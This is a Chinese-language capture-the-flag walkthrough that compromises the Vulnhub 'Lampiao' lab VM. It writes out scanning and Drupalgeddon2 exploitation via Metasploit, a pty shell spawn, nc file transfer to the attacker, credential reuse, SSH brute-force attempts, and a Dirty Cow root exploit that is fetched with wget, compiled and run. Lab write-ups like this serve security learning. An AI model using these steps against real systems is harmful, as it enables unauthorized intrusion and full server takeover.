vulnhub|滲透測試lampiao
題記
最近在打靶機,發現了一個挺有意思的靶機,這里想跟大家分享一下.
環境准備
vulnhub最近出的一台靶機
靶機 (https://www.vulnhub.com/entry/lampiao-1,249/) Lampiao.zip (Size: 669 MB)
Download: https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM
(https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM)
Download (Mirror): https://download.vulnhub.com/lampiao/Lampiao.zip
(https://download.vulnhub.com/lampiao/Lampiao.zip)
Download (Torrent): https://download.vulnhub.com/lampiao/Lampiao.zip.torrent ( Magnet)
(https://download.vulnhub.com/lampiao/Lampiao.zip.torrent)
攻擊機 Kali IP 10.10.10.128
靶機在同一C段下 IP 10.10.10.129
主機發現
使用命令 nmap -sP 192.168.107.1/24
起始Ip 10.10.10.1,攻擊機的ip是10.10.10.128,而10.10.10.254是結束ip。因為環境配置為dhcp動態分布,所以說我們的靶機ip就
是10.10.10.129
端口掃描
我們需要知道目標機器上開了哪些端口,運行了哪些服務,利用某些服務的漏洞來進行攻擊,所以我們先進行端口掃描。
之前用nmap -sS 只掃出來個22端口,於是嘗試ssh弱口令爆破,未果,
利用題目信息生成字典,未果,訪問網站,發現如下是個靜態頁面什么也沒有。文件頭,源代碼中無有效信息。
后來反應過來,有可能網站還有其它端口可以訪問,因為-sS參數是掃描常用的1000以內的端口號。於是用-p-參數: nmap -p- 10.1
0.10.129
掃出1898端口,於是訪問,發現是個web服務端口:
大致對網站瀏覽下,查找下功能點。主要是進行信息收集
目錄掃描
信息收集中非常重要的一步。這里我使用御劍掃描,可以看到,掃出來了robots.txt
於是訪問robots.txt
發現敏感文件/CHANGELOG.txt,一個記錄更新的日志,訪問發現是Drupal為框架的網站,最近一次更新為7.54
獲取會話
其它目錄暫無發現有用信息,搜集到大致的敏感信息后於是搜索其對應的漏洞利用,推薦使用msf,非常全面,而且方便,使用前記
得 msfdb start 啟動其連接的數據庫,這樣查找速度會很快
ps(kali默認是2.0版本也就是16年的,建議搜索前保證kali是最新版,漏洞才更全。現在用的是rolling更新源了。其他的源的話更新會報
錯。kali rolling 修改更新源 (https://blog.csdn.net/xuqi7/article/details/71430349)
msf啟動后,search drupal搜索其存在的對應漏洞,發現如下。
使用2018年這個漏洞。Drupal 在3月28日爆出的一個遠程代碼執行漏洞,CVE編號CVE-2018-7600。分析及 PoC 構造:
推薦連接 (https://paper.seebug.org/567/)
我們直接利用,設置好目標主機10.10.10.129,目標端口號1898,查看以及設置目標操作系統類型,然后run執行,可以看到獲取到了一個會話
執行shell獲取交互式命令,由於我們獲取的shell並不是一個具有完整交互的shell,對於已經安裝了python的系統,我們可以使用 python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端,命令如下: python -c 'import pty; pty.spawn("/bin/bas
h")'
尋找突破口
果不其然是www-data用戶,說明需要提權,ls -al查看網站根目錄有些什么東西發現有幾個東西不是網站根目錄應該有的,所以應該可以獲得什么重要信息,所以把這些文件傳輸到攻擊機上一一查看
- 先在攻擊機上使用命令 nc =-lvp 1234>接受的文件名 准備接收文件
- 在靶機使用 nc -w 3 10.10.10.12<要傳輸的文件名 傳輸文件
在攻擊機中打開,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下發現
- qrc.png:一個二維碼,掃出來的結果是 Try harger! muahuahuahua,被作者鼓勵了。。
- audio.m4a:提示為user tiago,說明要先找到用戶tiago的密碼
- uizGonzaga-LampiaoFalou.mp3:一首音樂,丟入隱寫工具沒發現什么異常
- lampiao.jpg:一張牛仔的圖片,丟入binwlak中未發現有什么隱寫
繼續翻目錄,找文件,在var/www/html/sites/default目錄下找到配置文件settings.php,發現敏感信息,tiago以及密碼,很有可能就是其系統用戶tiago的密碼
獲取普通用戶權限
嘗試登陸tiago用戶,發現成功了。獲取tiago用戶的權限,根據提示及題目背景,發現tiago和lampiao很有些關系,那首音樂又提示說tiago。
然后試了試mysql數據庫root的密碼,結果密碼也是tiago的登陸密碼,成功獲取Mysql數據庫的root權限。我想tiago的提示也許就是這個意思吧
在Mysql數據庫中發現有drupal數據庫,網站所有用戶的信息就在這里了。這應該就是tiago這個用戶最大的用處了吧,
嘗試爆破root密碼
獲得普通用戶的權限后,接下來的一步就是提權到最高的root權限了。通過前面收集的所有信息生成社工字典,ssh爆破,未成功,
使用cewl
一個通過爬取網站上關鍵信息生成字典的一個神器,命令 cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt ,爆破ssh未果
內核提權:
uname -a 查看當前內核版本:
這里需要去網上搜適合的exp了。推薦使用kali自帶的searchsploit
,非常全面,方便,當然也可以去網上搜,
這里我們利用的是CVE-2016-5195:臟牛(Dirty Cow)漏洞-Linux一個內核本地提權漏洞 ,黑客通過遠程入侵獲取低權限用戶后,利用該漏洞在全版本Linux系統服務器上實現本地提權,從而獲取到服務器root權限。
漏洞影響范圍:Linux Kernel >= 2.6.22 的所有 Linux 系統
意味着從 2007 年發布 2.6.22 版本開始,直到2016年10月18日為止,這中間發行的所有 Linux 系統都受影響。而我們的靶機為 ubuntu14.04.5更新時間為16年-8月-05所以存在漏洞
使用wget命令,下載提權exp到靶機: wget https://www.exploit-db.com/download/40847.cpp
c++格式的文件,先編譯,編譯命令 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
- -Wall 一般使用該選項,允許發出GCC能夠提供的所有有用的警告
- -pedantic 允許發出ANSI/ISO C標准所列出的所有警告
- -O2編譯器的優化選項的4個級別,-O0表示沒有優化,-O1為缺省值,-O3優化級別最高
- -std=c++11就是用按C++2011標准來編譯的
- -pthread 在Linux中要用到多線程時,需要鏈接pthread庫
- -o dcow gcc生成的目標文件,名字為dcow
./dcow -s 執行。提權成功
目標機上如果沒有編譯環境,這時候,我們可以本地搭建和目標機一樣的環境,在本地編譯好提權exp后,在目標機器上運行即可
Get flag
flag肯定在root目錄下。所以cd到root然后看到flag.txt ,cat查看一下。得到flag,通關。